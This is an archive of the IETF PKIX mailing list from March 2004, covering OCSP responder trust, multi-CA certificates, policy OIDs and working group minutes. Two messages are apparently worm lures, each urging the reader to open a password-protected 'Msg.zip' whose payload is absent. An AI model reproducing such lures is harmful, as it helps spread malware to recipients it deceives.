>Can we make this kind of certificate? I'd like to have your opinion.
>It is just my curiosity.
>
>Thanks.

Date: Sat, 06 Mar 2004 11:01:32 +0100
From: Jean-Marc Desperrier <[email-masked]>
To: [email-masked]
Subject: Re: Can we make this kind of certificate?
Sender: [email-masked]

Richard Levitte - VMS Whacker wrote:

>levitte> ...  However, there's nothing stopping you from having
>levitte> several certificates, signed by several CAs, from the same
>levitte> certificate request.  [...]
>
>[...]  I haven't analysed the effects of such action in any
>way, and before rushing to do what I said, I'd give it some extra
>careful thought if I were you. [...]
>
It better be correctly interpreted correctly by software, because it's 
susceptible to happen all the time.
This said it can be a cause for problems with Microsoft CAPI that relies 
too much on key based AKI/SKI.

One case were it could happen even if not intented is the earlier 
Gemplus smart card some years ago (the GPK4000  model), that were not 
able to do on-board generation, so they would pretend to generate a key 
and give back always the same one.

Moreover, this case is very similar to cross-certificates.

Date: Sat, 06 Mar 2004 08:08:58 +0100 (CET)
To: [email-masked]
CC: [email-masked]
Subject: Re: Can we make this kind of certificate?
From: Richard Levitte - VMS Whacker <[email-masked]>
Sender: [email-masked]

In message <[email-masked]> on Sat, 06 Mar 2004 08:03:56 +0100 (CET), Richard Levitte - VMS Whacker <[email-masked]> said:

levitte> In message <002e01c40312$69fe3aa0$810410ac@somethingnew> on Sat, 6 Mar 2004 09:31:49 +0900, "Jaeho Yoon" <[email-masked]> said:
levitte> 
levitte> jhyoon> Dear experts,
levitte> jhyoon> 
levitte> jhyoon> I have been studying the PKI in various environment. In doing
levitte> jhyoon> that, I am troubled with the needs of this kind of
levitte> jhyoon> certificate.
levitte> jhyoon> 
levitte> jhyoon> 'a certificate issued by multiple CAs'
levitte> 
levitte> ...  However, there's nothing stopping you from having
levitte> several certificates, signed by several CAs, from the same
levitte> certificate request.  How that would be handled by software
levitte> is a different question, though...

Note that this idea is probably not recommended, it's something I
pulled from my bag-o'-gags to possibly give you a way to get around to
what you want.  I haven't analysed the effects of such action in any
way, and before rushing to do what I said, I'd give it some extra
careful thought if I were you.  Oh, and for the rest of you on this
list, if what I wrote is truly horrific, feel free to pounce :-).

-----
Please consider sponsoring my work on free software.
See http://www.free.lp.se/sponsoring.html for details.

-- 
Richard Levitte     | http://richard.levitte.org/ | Tunnlandsv. 52
Levitte Programming | http://www.lp.se/           | S-168 36 Bromma
T: +46-708-26 53 44 |                             | SWEDEN
     "Price, performance, quality...  choose the two you like"

Date: Sat, 06 Mar 2004 08:03:56 +0100 (CET)
To: [email-masked]
CC: [email-masked]
Subject: Re: Can we make this kind of certificate?
From: Richard Levitte - VMS Whacker <[email-masked]>
Sender: [email-masked]

In message <002e01c40312$69fe3aa0$810410ac@somethingnew> on Sat, 6 Mar 2004 09:31:49 +0900, "Jaeho Yoon" <[email-masked]> said:

jhyoon> Dear experts,
jhyoon> 
jhyoon> I have been studying the PKI in various environment. In doing
jhyoon> that, I am troubled with the needs of this kind of
jhyoon> certificate.
jhyoon> 
jhyoon> 'a certificate issued by multiple CAs'

Within the framework of X.509, there no such thing.  However, there's
nothing stopping you from having several certificates, signed by
several CAs, from the same certificate request.  How that would be
handled by software is a different question, though...

HTH.  HAND.

-----
Please consider sponsoring my work on free software.
See http://www.free.lp.se/sponsoring.html for details.

-- 
Richard Levitte     | http://richard.levitte.org/ | Tunnlandsv. 52
Levitte Programming | http://www.lp.se/           | S-168 36 Bromma
T: +46-708-26 53 44 |                             | SWEDEN
     "Price, performance, quality...  choose the two you like"

From: "Jaeho Yoon" <[email-masked]>
To: <[email-masked]>
Subject: Can we make this kind of certificate?
Date: Sat, 6 Mar 2004 09:31:49 +0900
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_002B_01C4035D.D9B16520
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

------=_NextPart_000_002B_01C4035D.D9B16520
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

------=_NextPart_000_002B_01C4035D.D9B16520--

Date: Fri, 05 Mar 2004 00:10:43 -0800
To: [email-masked]
Subject: Hey, ya! =))
From: [email-masked]
Sender: [email-masked]

----------gvmvuleooytappoygrba
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Argh, i don't like the  plaintext :)
 
pass: 14687

----------gvmvuleooytappoygrba
Content-Type: application/octet-stream; name="Msg.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Msg.zip"

----------gvmvuleooytappoygrba--

Date: Thu,  4 Mar 2004 22:17:39 +0100
From: [email-masked]
To: Miguel Rodriguez <[email-masked]>
Cc: "[email-masked]" <[email-masked]>
Subject: RE: clarification about RFC2560.
Sender: [email-masked]

Hi,

> > The responder OCSP not have a link with the certificates for 
> > which one carries
> > out a request for status. In this case, one simply asks the 
> > requestor to make
> > trust to the AC which with signed the certificate of responder OCSP.
> > 
> 
> I guess you're using a "CRL Pull Mode" here, where your OCSP responder
> is also a "default" responder contacted by all your clients for every
> revocation check. Hope this helps,
> 
It is exact, I use this operating mode well. Thank you with all for your
assistance and your reactivity.

Bye
Yannick Quenec'hdu 

From: "Miguel Rodriguez" <[email-masked]>
To: <[email-masked]>, <[email-masked]>
Subject: RE: clarification about RFC2560.
Date: Thu, 4 Mar 2004 12:24:09 -0600
Importance: Normal
Sender: [email-masked]

Hi, responses inline:

> We developed a OCSP responder. this responder work with 15 
> differents CA. I'm
> not direct contact with this 15 CA. That implies that I have 
> intern CA which
> signed my certificate of responder OCSP.
> 
> I would like to know, because item 4.2.2 is not very clear in 
> its formulation
> for me. If it is possible compared to the RFC2560, to ask the 
> requestor to trust
> my CA I cannot be certified by the 15 other CA.
> 

Yes it is possible according to RFC2560, quoting from section 4.2.2.2:

"They MAY provide a means of locally configuring one
   or more OCSP signing authorities, and specifying the set of CAs for
   which each signing authority is trusted. They MUST reject the
   response if the certificate required to validate the signature on the
   response fails to meet at least one of the following criteria:

   1. Matches a local configuration of OCSP signing authority for the
   certificate in question; or

   2. Is the certificate of the CA that issued the certificate in
   question; or

   3. Includes a value of id-ad-ocspSigning in an ExtendedKeyUsage
   extension and is issued by the CA that issued the certificate in
   question."

Your clients would have to be locally confuigured to trust your OCSP
responder, 
and when validating the response they would be using case 1 in the above
quote.

> The responder OCSP not have a link with the certificates for 
> which one carries
> out a request for status. In this case, one simply asks the 
> requestor to make
> trust to the AC which with signed the certificate of responder OCSP.
> 

I guess you're using a "CRL Pull Mode" here, where your OCSP responder
is also a "default" responder contacted by all your clients for every
revocation check. Hope this helps,

Miguel Rodriguez
SeguriData
Mexico

Date: Thu,  4 Mar 2004 18:13:57 +0100
From: [email-masked]
To: [email-masked]
Cc: [email-masked]
Subject: RE: clarification about RFC2560.
Sender: [email-masked]

Selon "[email-masked]" <[email-masked]>:

> Selon Dave Engberg <[email-masked]>:
> 
>  
>  If your responder does not have a delegated certificate (with the "OCSP
>  Signing" Extended Key Usage) from each Certificate Authority, then your
>  responder certificate must be explicitly trusted by every client that uses
>  your responder.
>  
>  OCSP clients make this possible by allowing you to specify "explicitly
>  trusted" responder certificates at each client.
>  
>  It is not possible to ask the client to accept your responder cert if that
>  cert is not issued by the CA of the cert they are checking.
>  
Your third sentence seems to conflit with the previous one. is it just a
 miss use or really impossible ?
> Thanks 
> Yannick Quenec'hdu
> > Behalf Of [email-masked]
> > Sent: Thursday, March 04, 2004 8:38 AM
> > To: [email-masked]
> > Subject: clarification about RFC2560.
> > 
> > 
> > Hi,¶ 
> > 
> > I would like a clarification about RFC2560.
> > 
> > We developed a OCSP responder. this responder work with 15 differents CA.
> I'm
> > not direct contact with this 15 CA. That implies that I have intern CA
> which
> > signed my certificate of responder OCSP.
> > 
> > I would like to know, because item 4.2.2 is not very clear in its
> formulation
> > for me. If it is possible compared to the RFC2560, to ask the requestor to
> > trust my CA I cannot be certified by the 15 other CA.
> > 
> > The responder OCSP not have a link with the certificates for which one
> > carries out a request for status. In this case, one simply asks the
> requestor
> > to make trust to the AC which with signed the certificate of responder
> OCSP.
> > 
> > This case is possible ?
> > 
> > Thanks
> > Yannick Quenec'hdu
> > 
> > 
> > 
> > 
> > 
> 
> 
> 
> 

Date: Thu,  4 Mar 2004 14:37:49 +0100
From: [email-masked]
To: "[email-masked]" <[email-masked]>
Subject: clarification about RFC2560.
Sender: [email-masked]

Hi,¶ 

I would like a clarification about RFC2560.

We developed a OCSP responder. this responder work with 15 differents CA. I'm
not direct contact with this 15 CA. That implies that I have intern CA which
signed my certificate of responder OCSP.

I would like to know, because item 4.2.2 is not very clear in its formulation
for me. If it is possible compared to the RFC2560, to ask the requestor to trust
my CA I cannot be certified by the 15 other CA.

The responder OCSP not have a link with the certificates for which one carries
out a request for status. In this case, one simply asks the requestor to make
trust to the AC which with signed the certificate of responder OCSP.

This case is possible ?

Thanks
Yannick Quenec'hdu

Date: Thu, 04 Mar 2004 15:01:23 +0800
To: [email-masked]
Subject: Hokki =)
From: [email-masked]
Sender: [email-masked]

----------nduxadpkptdprdkefjfq
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Argh, i don't like the plaintext :)

pass:  67688

----------nduxadpkptdprdkefjfq
Content-Type: application/octet-stream; name="Msg.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Msg.zip"

----------nduxadpkptdprdkefjfq--

From: The IESG <[email-masked]>
To: IETF-Announce:;
Cc: Internet Architecture Board <[email-masked]>, RFC Editor <[email-masked]>, <[email-masked]>
Subject: Protocol Action: 'Internet X.509 Public Key Infrastructure:  Qualified Certificates Profile' to Proposed Standard 
Date: Wed, 03 Mar 2004 18:48:11 -0500
Sender: [email-masked]

The IESG has approved the following document:

- 'Internet X.509 Public Key Infrastructure: Qualified Certificates 
   Profile '
   <draft-ietf-pkix-sonof3039-06.txt> as a Proposed Standard

This document is the product of the Public-Key Infrastructure (X.509) 
Working Group. 

The IESG contact persons are Russ Housley and Steve Bellovin.

Technical Summary

  Once approved, this document will obsolete RFC 3039.

  This document forms a certificate profile, based on RFC 3280, for
  identity certificates issued to natural persons.  The profile defines
  specific conventions for certificates that are qualified within a
  defined legal framework, referred to as Qualified Certificates.  The
  profile does not define any legal requirements for such Qualified
  Certificates.  One example of such requirements can be found in the
  European Directive on Electronic Signatures.

  The goal of this document is to define a certificate profile that
  supports issuance of Qualified Certificates independent of local legal
  requirements.  The profile is however not limited to Qualified
  Certificates and further profiling may facilitate specific local
  needs.

Working Group Summary

  The PKIX Working Group came to rough consensus on this document.

Protocol Quality

  This document was reviewed by Russell Housley for the IESG.

Content-class: urn:content-classes:message
Subject: RE: draft meeting minutes
Date: Mon, 1 Mar 2004 20:33:23 -0000
From: "Stefan Santesson" <[email-masked]>
To: "Stephen Kent" <[email-masked]>, <[email-masked]>
Sender: [email-masked]

Steve:

The following text in "RFC 3039bis (Qualified Certificates)" seems to
have some problems.

> However, if the document is to be changed to accommodate these
> remaining changes, if will be necessary to reprocess the document
                     ^^
> through a 7-step process. This the WG has a choice: option 1 ...
                            ^^^^

/Stefan

From: "Anders Rundgren" <[email-masked]>
To: "Al Arsenault" <[email-masked]>
Cc: "Stephen Kent" <[email-masked]>, <[email-masked]>
Subject: Re: OMA's signText: No Policy OID
Date: Mon, 1 Mar 2004 14:41:49 +0100
Sender: [email-masked]

>Thus, I don't think it's a relevant example to bring before PKIX.

>(Please don't make me go back and re-hash the WAP years any more than this.
>It's just too, too painful.  :-)

You are right about WAP.  "signText" is really not that great.
OTOH, it is the *only* on-line signature standard that the
entire PKI community, including governments, vendors, and
standards organizations has been able to come up with to date
in spite of eons of time spent on discussing "digital signatures"
in various contexts.  That gives sort of another dimension to
your statement about being "painful" :-)

You are probably less right on the issue whether it is really
a major advantage by having a single CA supporting multiple
policies compared to having a separate trust anchor for
each implicit or explicit policy.  That is, if you take the
*whole* trust network in consideration and not only the CA.

The mere existence of QCStatements and Warranty Extensions
IMHO indicates that the PKIX policy framework is unsuitable
even for dealing with a SINGLE policy.  These PKIX-defined
items actually create a 3-dimensional(!) trust setting system.

But if the "market" is prepared to forever be dependent
on fairly pricey consultants, this is indeed the way to go.

Anders

> [mailto:[email-masked]]On Behalf Of Stephen Kent
> Sent: Friday, February 27, 2004 12:04 PM
> To: Anders Rundgren
> Cc: [email-masked]
> Subject: Re: OMA's signText: No Policy OID
>
>
>
> At 19:53 +0100 2/26/04, Anders Rundgren wrote:
> >"signText" which is the only on-line signature standard
> >there is, which has been defined by the Open Mobile Alliance
> >(backed by all the big guys) supports client certificate
> >filtering based on CA, but not on Policy OID.
> >
> >I'm sorry for being such a PITA but it might be of some value
> >for implementers of CAs to know that multi-policy PKIs
> >(in contrast to having separate CAs each supporting
> >a single policy) indeed have some practical issues.
> >
> >Current multi-policy-CA incompatibility list:
> >- Major off-the shelf software (IE, Outlook, IIS)
> >- SSL/TLS
> >- signText
> >- Most trust store management systems
> >- Common PKI knowledge level
> >- Streamlined administration support
> >
> >Anders R
>
> Well, it's good to know that even you characterize yourself as a PITA.
>
> The cited examples above are, as I have come to expect, a hodge
> podge.  You may factually cite a specific, non-compliant
> implementation of a specified protocol as evidence in support of your
> notion that we don't need policy OID support, but  the last two
> bullets above merely represent your perception. The claim that
> SSL/TLS do not support policy OIDs is based on an interpretation of
> one feature of these protocols, i.e., their ability to inform a
> client of the CAs that a server is prepared to use in validating
> client certs.  However, the folks who have extensive experience with
> these protocols have made it clear that the reasons for doing this
> are historical, not an architected feature. Then there's your
> "signtext" example, which is just an instance of a vendor consortium
> suggesting something for their environment.  That has all the glitter
> of WAP!
>
> In summary, your argument is more or less:
> - non-compliant implementations do X.
> - some vendors got together and decided to do X explicitly.
> - some protocols are silent on use of X, for historical reasons
> - thus X should be removed from IETF standards
>
> I am not persuaded by an argument of this form.
>
> Steve

From: "Al Arsenault" <[email-masked]>
To: "Stephen Kent" <[email-masked]>, "Anders Rundgren" <[email-masked]>
Cc: <[email-masked]>
Subject: RE: OMA's signText: No Policy OID
Date: Mon, 1 Mar 2004 07:59:51 -0500
Importance: Normal
Sender: [email-masked]

Actually, Steve's more correct than he may realize. :-)

The WAP Forum got merged into the Open Mobile Alliance about a year ago.
The "signText" work was done by WAP, in something like 1999/2000, and has
just been carried forward since then. OMA seems to me to mostly have been
about DRM rather than security in the last year.

Bearing in mind that the whole WAP agenda was to develop a "wireless web"
for small phones and small networks that couldn't handle the Internet-style
overhead (for instance, TCP/TLS were far too heavyweight), the goal was to
develop a PKI profile that provided some semblance of security while being
small in terms of processing required and even smaller in bits transmitted
across the network and especially in roundtrips.

So given that requirement, and the timeframe in which it was designed, it's
no wonder that signText doesn't have any of the policy or other baggage.

Thus, I don't think it's a relevant example to bring before PKIX.

(Please don't make me go back and re-hash the WAP years any more than this.
It's just too, too painful.  :-)

			Al Arsenault

> [mailto:[email-masked]]On Behalf Of Stephen Kent
> Sent: Friday, February 27, 2004 12:04 PM
> To: Anders Rundgren
> Cc: [email-masked]
> Subject: Re: OMA's signText: No Policy OID
>
>
>
> At 19:53 +0100 2/26/04, Anders Rundgren wrote:
> >"signText" which is the only on-line signature standard
> >there is, which has been defined by the Open Mobile Alliance
> >(backed by all the big guys) supports client certificate
> >filtering based on CA, but not on Policy OID.
> >
> >I'm sorry for being such a PITA but it might be of some value
> >for implementers of CAs to know that multi-policy PKIs
> >(in contrast to having separate CAs each supporting
> >a single policy) indeed have some practical issues.
> >
> >Current multi-policy-CA incompatibility list:
> >- Major off-the shelf software (IE, Outlook, IIS)
> >- SSL/TLS
> >- signText
> >- Most trust store management systems
> >- Common PKI knowledge level
> >- Streamlined administration support
> >
> >Anders R
>
> Well, it's good to know that even you characterize yourself as a PITA.
>
> The cited examples above are, as I have come to expect, a hodge
> podge.  You may factually cite a specific, non-compliant
> implementation of a specified protocol as evidence in support of your
> notion that we don't need policy OID support, but  the last two
> bullets above merely represent your perception. The claim that
> SSL/TLS do not support policy OIDs is based on an interpretation of
> one feature of these protocols, i.e., their ability to inform a
> client of the CAs that a server is prepared to use in validating
> client certs.  However, the folks who have extensive experience with
> these protocols have made it clear that the reasons for doing this
> are historical, not an architected feature. Then there's your
> "signtext" example, which is just an instance of a vendor consortium
> suggesting something for their environment.  That has all the glitter
> of WAP!
>
> In summary, your argument is more or less:
> 	- non-compliant implementations do X.
> 	- some vendors got together and decided to do X explicitly.
> 	- some protocols are silent on use of X, for historical reasons
> 	- thus X should be removed from IETF standards
>
> I am not persuaded by an argument of this form.
>
> Steve

Date: Mon, 1 Mar 2004 06:31:40 -0500
To: [email-masked]
From: Stephen Kent <[email-masked]>
Subject: WG meeting summary
Cc: russ housley <[email-masked]>
Sender: [email-masked]

The PKIX meeting was brief, with only three agenda items, in addition 
to a review of document status. The SIM work requires more work, and 
the authors will be making revisions and issuing a new version to 
address comments, most from Jim Schaad. Jim reported on his revisions 
to RFC 2511. The major concern raised by Jim was that several of the 
POP methods defined in the document are under specified and might be 
vulnerable, unless appropriate details are carefully specified. Russ 
Housley reviewed the history of a large number of comments from Denis 
re RFC 3039bis. He explained the current document status and what 
options are available to the WG in dealing with the remaining five 
comments from Denis. The options were to proceed with the current 
version of the document (with the option of making four of the five 
requested changes during the RFC Editor's 48-hour final review 
period), or to execute a seven-step process to accommodate the 
comments. A straw poll showed strong support among attendees for 
proceeding with the document as is.

Date: Mon, 1 Mar 2004 06:33:25 -0500
To: [email-masked]
From: Stephen Kent <[email-masked]>
Subject: draft meeting minutes
Sender: [email-masked]

The following draft minutes are submitted for WG review and comments 
from speakers.

Steve
------

PKIX WG Meeting 3/1/04

Edited by Steve Kent

Chairs: Stephen Kent <[email-masked]> & Tim Polk <[email-masked]>

The PKIX WG met once during the 59th IETF. A total of approximately 
49 individuals participated in the meeting.

Agenda review and document status - Steve Kent (BBN) using slides 
from Tim Polk (NIST)
	The backlog of WG documents has subsided a bit. Several new 
RFCs have been issued, or will be issued soon.  Logotypes was issued 
as RFC 3709. Proxy certificates is in the RFC editors queue as is the 
IP address and AS identifier document. Qualified certificates has 
been approved by the IESG.  The warranty extension document requires 
revisions before being forwarded to the RFC editor.
	Several documents are in the hands of the ADs: permanent 
identifier, attribute certificate policies, extensions for wireless 
LANs, and repository locator service.  CRMF and CMP require revisions 
before progressing. SCVP and PK algorithms are in WG last call. The 
path building and ECC (NIST curves) documents are ready for last 
call, and SIM is getting closer. LDAP specs, and OCSPv2 extensions 
are ongoing work items.  Interoperability tests are being performed 
by several vendors, in preparation for progression of RFCs 3279/3280.

Subject Identification Method - Jongwook Park (KISA)
This presentation reviewed changes from previous draft, and responses 
to 21 comments received during WG last call.

CRMF (RFC 2511bis) - Jim Schaad (Soaring Hawk Consulting)
	Jim took over as editor, and has made significant updates. He 
sees several outstanding issues yet to be resolved, that are blocking 
progress. Some of the POP methods appear to be vulnerable, and thus 
need to be dropped or fixed. Also, the DH-MAC POP algorithm should be 
made more algorithm generic, e.g., to accommodate ECC algorithms. 
Need to fix some underspecified parts of registration token, 
archival, and registration info features of the protocol. Will take 
this up on the list to determine how critical these features are, 
especially with regard to POP. Possible outcomes are: removal of some 
(or all) of these features, or fixes that address the problems.

RFC 3039bis (Qualified Certificates) - Russ Housley (Vigil Security)
	Russ reviewed the sequence of events associated with a large 
number (38) of comments received from Denis Pinkas during the IETF 
Last Call for this document. At this point there are only five 
comments outstanding, and all are essentially editorial in nature. 
However, if the document is to be changed to accommodate these 
remaining changes, if will be necessary to reprocess the document 
through a 7-step process. This the WG has a choice: option 1: it can 
proceed with the document in its current form; option 2: it can make 
the suggested changes, and proceed with the 7-setp process Russ 
outlined. Russ asked for a show of hands from attendees as to which 
option was preferred. Russ invited comments from the floor on the 
choices, and several individuals expressed the opinion that the first 
four comments are trivial editorial changes that could be made during 
the RFC editor's 48-hour final revision interval. Several folks 
expressed the opinion that the security considerations text should 
appear in a more general document, e.g., RFC 3280. The show of hands 
indicated that the attendees strongly preferred the first option, 
although there were a few hands in support of option two.